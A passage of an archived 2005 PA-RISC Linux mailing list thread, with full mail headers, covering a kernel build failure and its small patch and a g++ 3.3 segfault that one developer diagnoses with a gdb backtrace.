MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Multipart=_Sat__26_Nov_2005_16_37_48_+0100_90d=VQ9K9fNwb6aQ--



From - Thu Nov 08 21:36:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.15-rc3 merged successfully with rc2-pa2 but
	failed to build :<(
Date: Tue, 29 Nov 2005 16:21:46 +0100
Lines: 109
Approved: news@gmane.org
Message-ID: <IQQ2OA$24369881EF560DF3182403C54DA7DA20@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624568 27368 80.91.229.3 (22 Nov 2014 02:49:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:28 +0000 (UTC)
To: "parisc-linux" <parisc-linux@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:16 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Nov 2005 15:22:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx081) with SMTP; 29 Nov 2005 16:22:00 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DA9F67D63A;
	Tue, 29 Nov 2005 08:21:55 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20208-03; Tue, 29 Nov 2005 08:21:55 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8DF0D7D633;
	Tue, 29 Nov 2005 08:21:54 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C434D7D629
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 Nov 2005 08:21:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19975-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 Nov 2005 08:21:49 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 3B59B7D627
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 Nov 2005 08:21:49 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 001154940D7; Tue, 29 Nov 2005 08:21:49 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by palinux.hppa (Postfix) with ESMTP id 60C0049400A
	for <parisc-linux@parisc-linux.org>;
	Tue, 29 Nov 2005 08:21:48 -0700 (MST)
Original-Received: from (taj.is.scarlet.be [193.74.71.42]) 
	by guri.is.scarlet.be  with ESMTP id jATFLk718216 
	for <parisc-linux@parisc-linux.org>; Tue, 29 Nov 2005 16:21:46 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Txf+Y+wgeSEkI76WZHQhaXN1IGRvbwAp
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25209

Hi *,

I just get a try to this merge (near straightforward :<)) but failled to =
build
in 2 places with the same error:
  gcc -Wp,-MD,mm/.memory.o.d  -nostdinc -isystem
/usr/lib/gcc/hppa-linux-gnu/4.0.3/include -D__KERNEL__ -Iinclude -Iinclud=
e2
-I/CAD/
linux-2.6.15-rc2-pa2-20051127/include -include include/linux/autoconf.h
-I/CAD/linux-2.6.15-rc2-pa2-20051127/mm -Imm -Wall -Wundef -
Wstrict-prototypes -Wno-trigraphs -fno-strict-aliasing -fno-common
-ffreestanding -O2 -fomit-frame-pointer -pipe -mno-space-regs -mf
ast-indirect-calls -mdisable-fpregs -ffunction-sections -march=3D2.0
-mschedule=3D8000 -Wdeclaration-after-statement -Wno-pointer-sign
-DKBUILD_BASENAME=3Dmemory -DKBUILD_MODNAME=3Dmemory -c -o mm/memory.o
/CAD/linux-2.6.15-rc2-pa2-20051127/mm/memory.c
/CAD/linux-2.6.15-rc2-pa2-20051127/mm/memory.c: In function do_wp_page:
/CAD/linux-2.6.15-rc2-pa2-20051127/mm/memory.c:1349: error: pfn undeclare=
d
(first use in this function)
/CAD/linux-2.6.15-rc2-pa2-20051127/mm/memory.c:1349: error: (Each undecla=
red
identifier is reported only once
/CAD/linux-2.6.15-rc2-pa2-20051127/mm/memory.c:1349: error: for each func=
tion
it appears in.)
make[2]: *** [mm/memory.o] Error 1

and:
  gcc -Wp,-MD,mm/.rmap.o.d  -nostdinc -isystem
/usr/lib/gcc/hppa-linux-gnu/4.0.3/include -D__KERNEL__ -Iinclude -Iinclud=
e2
-I/CAD/li
nux-2.6.15-rc3-pa2mm-20051127/include -include include/linux/autoconf.h
-I/CAD/linux-2.6.15-rc3-pa2mm-20051127/mm -Imm -Wall -Wundef
 -Wstrict-prototypes -Wno-trigraphs -fno-strict-aliasing -fno-common
-ffreestanding -O2 -fomit-frame-pointer -pipe -mno-space-regs -
mfast-indirect-calls -mdisable-fpregs -ffunction-sections -march=3D2.0
-mschedule=3D8000 -Wdeclaration-after-statement -Wno-pointer-sign
  -DKBUILD_BASENAME=3Drmap -DKBUILD_MODNAME=3Drmap -c -o mm/rmap.o
/CAD/linux-2.6.15-rc3-pa2mm-20051127/mm/rmap.c
/CAD/linux-2.6.15-rc3-pa2mm-20051127/mm/rmap.c: In function try_to_unmap_=
cluster:
/CAD/linux-2.6.15-rc3-pa2mm-20051127/mm/rmap.c:644: error: pfn undeclared=

(first use in this function)
/CAD/linux-2.6.15-rc3-pa2mm-20051127/mm/rmap.c:644: error: (Each undeclar=
ed
identifier is reported only once
/CAD/linux-2.6.15-rc3-pa2mm-20051127/mm/rmap.c:644: error: for each funct=
ion
it appears in.)
make[2]: *** [mm/rmap.o] Error 1

This ack seems to make the drill:
--- mm/memory.c.Orig    2005-11-29 14:20:21.000000000 +0100
+++ mm/memory.c 2005-11-29 14:27:49.000000000 +0100
@@ -1346,7 +1346,7 @@
                int reuse =3D can_share_swap_page(old_page);
                unlock_page(old_page);
                if (reuse) {
-                       flush_cache_page(vma, address, pfn);
+                       flush_cache_page(vma, address, pte_pfn(orig_pte))=
;
                        entry =3D pte_mkyoung(orig_pte);
                        entry =3D maybe_mkwrite(pte_mkdirty(entry), vma);=

                        ptep_set_access_flags(vma, address, page_table, e=
ntry, 1);
@@ -1390,7 +1390,7 @@
                        }
                } else
                        inc_mm_counter(mm, anon_rss);
-               flush_cache_page(vma, address, pfn);
+               flush_cache_page(vma, address, pte_pfn(orig_pte));
                entry =3D mk_pte(new_page, vma->vm_page_prot);
                entry =3D maybe_mkwrite(pte_mkdirty(entry), vma);
                ptep_establish(vma, address, page_table, entry);
=3D=3D=3D=3D<>=3D=3D=3D=3D
--- mm/rmap.c.Orig      2005-11-29 14:32:43.000000000 +0100
+++ mm/rmap.c   2005-11-29 14:36:21.000000000 +0100
@@ -641,7 +641,7 @@
                        continue;
 
                /* Nuke the page table entry. */
-               flush_cache_page(vma, address, pfn);
+               flush_cache_page(vma, address, pte_pfn(*pte));
                pteval =3D ptep_clear_flush(vma, address, pte);
 
                /* If nonlinear, store the file page offset in the pte. *=
/
=3D=3D=3D=3D<>=3D=3D=3D=3D

I doubt it could be the fix as it seems that it was already build without=
 that
stuff (<http://lkml.org/lkml/2005/11/29/27>)?

Thanks for your attention,
    Joel=0A=0A-------------------------------------------------------=0AN=
OTE! My email address is changing to ... @scarlet.be=0APlease make the ne=
cessary changes in your address book. =0A=0A

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Fabio Bizzi <bizzi@albacom.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Strange compiler behavior
Date: Wed, 30 Nov 2005 09:38:08 +0100
Organization: albacom.net
Lines: 66
Approved: news@gmane.org
Message-ID: <438D64F0.7080307__31841.736395336$1416624568$gmane$org@albacom.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624568 27371 80.91.229.3 (22 Nov 2014 02:49:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:28 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: parisc-linux <parisc-linux@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:16 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Nov 2005 08:38:45 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx063) with SMTP; 30 Nov 2005 09:38:45 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 6FF752DF82; Wed, 30 Nov 2005 02:38:40 -0600 (CST)
Old-Return-Path: <bizzi@albacom.net>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from ns2.albacom.net (ns2.albacom.net [212.17.192.209])
	by murphy.debian.org (Postfix) with ESMTP id D14222DD8D
	for <debian-hppa@lists.debian.org>; Wed, 30 Nov 2005 02:38:38 -0600 (CST)
Original-Received: from util.albacom.net (util.albacom.net [212.17.192.196])
	by ns2.albacom.net (8.12.11/8.12.11) with ESMTP id jAU8cdnC018597;
	Wed, 30 Nov 2005 09:38:39 +0100 (MET)
Original-Received: from [10.254.239.111] ([10.254.239.111])
	by util.albacom.net (8.9.3/8.9.3) with ESMTP id JAA18006;
	Wed, 30 Nov 2005 09:31:42 +0100 (MET)
User-Agent: Mozilla Thunderbird 1.0.7-1.1.fc4 (X11/20050929)
X-Accept-Language: en-us, en
X-Rc-Virus: 2005-11-10_01
X-Rc-Spam: 2005-09-11_01
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Status: No, score=-3.6 required=4.0 tests=AWL,IMPRONONCABLE_1,
	IMPRONONCABLE_2,LDOSUBSCRIBER,MURPHY_WRONG_WORD1,MURPHY_WRONG_WORD2 
	autolearn=no version=3.0.3
Resent-Message-ID: <iC-ii.A.MdE.QUWjDB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4945
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Wed, 30 Nov 2005 02:38:40 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: QgD/Y7UGeSEkTb6WZHQhaXN1IGRvb0B3
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25210

Hi PA-Gurus! :)

I've tried to compile a LiveMedia test program on my B180L with sarge 
and etch 2.6.12-1-parisc kernel installed.

If I give all the correct include all goes well and a correct executable 
is produced, the following is the working compile string:

bizzi@b180l:~/examples$ g++ testMP3Streamer.cpp -o testMP3Streamer 
-I/usr/include/liveMedia/ -I/usr/include/groupsock/ 
-I/usr/include/BasicUsageEnvironment -I/usr/include/UsageEnvironment 
-lliveMedia -lgroupsock -lBasicUsageEnvironment -lUsageEnvironment

But if I miss a couple of include dir I have a correct error generation 
and a strange message in /var/log/debug , the uncorrect compile string is:

g++ testMP3Streamer.cpp -o testMP3Streamer -I/usr/include/liveMedia/ 
-I/usr/include/groupsock/ -lliveMedia -lgroupsock 
-lBasicUsageEnvironment -lUsageEnvironment

and the /var/log/debug message is:

8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-

do_page_fault() pid=19583 command='cc1plus' type=15 address=0x000000ec

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111100100001111 Not tainted
r00-03  00000000 0036c198 0002570f 4062eaf0
r04-07  40014cb0 4062eaf0 0036c198 00000000
r08-11  003c1998 0039c198 0039c198 0036c198
r12-15  00000000 002ef000 0039e198 00036f4c
r16-19  bff8f908 0039e198 00000000 00000000
r20-23  00000000 00000022 00000001 00000000
r24-27  00000001 4062eaf0 00000160 0036c198
r28-31  40014cb0 00000000 bff90580 00162f37
sr0-3   00000000 00000006 00000000 0000012b
sr4-7   0000012b 0000012b 0000012b 0000012b

IASQ: 0000012b 0000012b IAOQ: 00025713 00025717
  IIR: 4a8301d8    ISR: 0000012b  IOR: 000000ec
  CPU:        0   CR30: 17f5c000 CR31: 103e4000
  ORIG_R28: 00000000
  IAOQ[0]: 0x25713
  IAOQ[1]: 0x25717
  RP(r2): 0x2570f

8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-

I've installed via apt-get the liblivemedia-dev paackage version 
2005.04.01-1

Is this a normal behavior or I've found something strange? ;)

Thanks a lot to evrybody!!! :)

Ciao.

	Fabio.


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Strange compiler behavior
Date: Wed, 30 Nov 2005 17:28:36 +0800
Lines: 39
Approved: news@gmane.org
Message-ID: <438D70C4.4080003__48294.2399722107$1416624568$gmane$org@tausq.org>
References: <438D64F0.7080307@albacom.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624568 27375 80.91.229.3 (22 Nov 2014 02:49:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:28 +0000 (UTC)
Cc: parisc-linux <parisc-linux@parisc-linux.org>,
 debian-hppa@lists.debian.org
To: Fabio Bizzi <bizzi@albacom.net>
Original-X-From: - Wed Jul 02 21:28:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Nov 2005 09:45:38 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx076) with SMTP; 30 Nov 2005 10:45:38 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 4F6E92E662; Wed, 30 Nov 2005 03:45:30 -0600 (CST)
Old-Return-Path: <randolph@tausq.org>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from stl.com.hk (ip127.bb146.pacific.net.hk [202.64.146.127])
	by murphy.debian.org (Postfix) with ESMTP id E54872DE7D
	for <debian-hppa@lists.debian.org>; Wed, 30 Nov 2005 03:28:25 -0600 (CST)
Original-Received: from rccomp.stl.com.hk ([192.168.100.200])
	by stl.com.hk with esmtp (Exim 4.50)
	id 1EhOA7-0006Jc-Vg; Wed, 30 Nov 2005 17:22:03 +0800
User-Agent: Thunderbird 1.5 (Windows/20051025)
In-Reply-To: <438D64F0.7080307@albacom.net>
X-Rc-Spam: 2005-09-11_01
X-Rc-Virus: 2005-11-10_01
X-Rc-Spam: 2005-09-11_01
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Status: No, score=0.9 required=4.0 tests=AWL,FORGED_RCVD_HELO,
	FVGT_m_MULTI_ODD,IMPRONONCABLE_2 autolearn=no version=3.0.3
Resent-Message-ID: <sFhvVD.A.U2F.6SXjDB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4946
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Wed, 30 Nov 2005 03:45:30 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: lBH/Y4JMeSEkPr6WZHQhaXN1IGRvb4C6
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25211

> But if I miss a couple of include dir I have a correct error generation
> and a strange message in /var/log/debug , the uncorrect compile string is:

Looks like you found a gcc bug. What happened is that g++ crashed
(SIGSEGV) while processing your file.

It seems to be only in g++-3.3. I tried with g++-3.3 and g++-4.0.2 and
can not reproduce the problem.

The limited stack trace is:

Program received signal SIGSEGV, Segmentation fault.
0x000255fc in pop_everything ()
(gdb) bt
#0  0x000255fc in pop_everything ()
#1  0x0002f834 in cxx_insert_default_attributes ()
#2  0x00072688 in cxx_make_type ()
#3  0x000b7870 in c_common_parse_file ()
#4  0x0022bb8c in rtx_addr_varies_p ()
#5  0x00231224 in rtx_addr_varies_p ()
#6  0x002312e8 in rtx_addr_varies_p ()
#7  0x401ee6e4 in __libc_start_main () from /lib/libc.so.6
#8  0x00016a58 in ?? ()
(gdb) x/i $pc
0x255fc <pop_everything+808>:   ldw ec(,r20),r3
(gdb) print /x $r20
$1 = 0x0

Perhaps you can try a newer gcc, or file a bug upstream with the gcc
developers. See http://gcc.gnu.org/bugs.html

randolph


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Fabio Bizzi <bizzi@albacom.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Strange compiler behavior
Date: Wed, 30 Nov 2005 11:08:20 +0100
Organization: albacom.net
Lines: 37
Approved: news@gmane.org
Message-ID: <438D7A14.3000708__41598.7141350799$1416624569$gmane$org@albacom.net>
References: <438D64F0.7080307@albacom.net> <438D70C4.4080003@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624569 27378 80.91.229.3 (22 Nov 2014 02:49:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:29 +0000 (UTC)
To: parisc-linux <parisc-linux@parisc-linux.org>,
 debian-hppa@lists.debian.org
Original-X-From: - Wed Jul 02 21:28:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Nov 2005 10:08:57 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx065) with SMTP; 30 Nov 2005 11:08:57 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id C59962E83A; Wed, 30 Nov 2005 04:08:51 -0600 (CST)
Old-Return-Path: <bizzi@albacom.net>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from ns2.albacom.net (ns2.albacom.net [212.17.192.209])
	by murphy.debian.org (Postfix) with ESMTP id 235932E827
	for <debian-hppa@lists.debian.org>; Wed, 30 Nov 2005 04:08:49 -0600 (CST)
Original-Received: from util.albacom.net (util.albacom.net [212.17.192.196])
	by ns2.albacom.net (8.12.11/8.12.11) with ESMTP id jAUA8pgp014078;
	Wed, 30 Nov 2005 11:08:51 +0100 (MET)
Original-Received: from [10.254.239.111] ([10.254.239.111])
	by util.albacom.net (8.9.3/8.9.3) with ESMTP id LAA08017;
	Wed, 30 Nov 2005 11:01:54 +0100 (MET)
User-Agent: Mozilla Thunderbird 1.0.7-1.1.fc4 (X11/20050929)
X-Accept-Language: en-us, en
In-Reply-To: <438D70C4.4080003@tausq.org>
X-Rc-Virus: 2005-11-10_01
X-Rc-Spam: 2005-09-11_01
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Status: No, score=-4.7 required=4.0 tests=AWL,LDOSUBSCRIBER 
	autolearn=no version=3.0.3
Resent-Message-ID: <7lsHKB.A.MGB.zoXjDB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4947
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Wed, 30 Nov 2005 04:08:51 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: bh//Y4MLeSEkM76WZHQhaXN1IGRvb8Dr
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25212

Hi Randolph

Randolph Chung wrote:
> Looks like you found a gcc bug. What happened is that g++ crashed
> (SIGSEGV) while processing your file.
> 
> It seems to be only in g++-3.3. I tried with g++-3.3 and g++-4.0.2 and
> can not reproduce the problem.
[...]
> Perhaps you can try a newer gcc, or file a bug upstream with the gcc
> developers. See http://gcc.gnu.org/bugs.html

Thank you for the help Randolph!!! :)

I've installed g++-3.4 from sarge archives, now I have another problem.
When I try to compile the same source with the correct string and 
includes I get a lot of undefined references, I suppose that it is due 
because LiveMedia libraries was compiled with g++3.3.5 (The default 
sarge compiler).

How can I test it?

Can I download the source code of LiveMedia and compile it from scratch 
with 3.4 g++ and do again the test with new liblivemdia.a library?

Thank You again!

Ciao.

	Fabio.


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Strange compiler behavior
Date: Wed, 30 Nov 2005 21:42:42 -2900 (EST)
Lines: 37
Approved: news@gmane.org
Message-ID: <200512010242.jB12ghR9006672__38322.6219950759$1416624569$gmane$org@hiauly1.hia.nrc.ca>
References: <438E52C9.2030007@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624569 27380 80.91.229.3 (22 Nov 2014 02:49:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:29 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 debian-hppa@lists.debian.org
To: randolph@tausq.org (Randolph Chung)
Original-X-From: - Wed Jul 02 21:28:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Dec 2005 03:12:08 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx059) with SMTP; 01 Dec 2005 04:12:08 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 8DD7A2DDEA; Wed, 30 Nov 2005 21:12:03 -0600 (CST)
Old-Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by murphy.debian.org (Postfix) with ESMTP id 7DA5F2DE18
	for <debian-hppa@lists.debian.org>; Wed, 30 Nov 2005 20:55:02 -0600 (CST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id jB12t3qO014047;
	Wed, 30 Nov 2005 21:55:04 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id jB12ghR9006672;
	Wed, 30 Nov 2005 21:42:43 -0500 (EST)
In-Reply-To: <438E52C9.2030007@tausq.org> from "Randolph Chung" at Dec 1, 2005 09:32:57 am
X-Mailer: ELM [version 2.4 PL25]
X-Rc-Spam: 2005-09-11_01
X-Rc-Virus: 2005-11-10_01
X-Rc-Spam: 2005-09-11_01
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Level: ***
X-Spam-Status: No, score=3.3 required=4.0 tests=AWL,DATE_IN_FUTURE_12_24,
	FVGT_m_MULTI_ODD,IMPRONONCABLE_2,INVALID_TZ_EST autolearn=no 
	version=3.0.3
Resent-Message-ID: <xsHKOC.A.vQF.DomjDB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4952
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
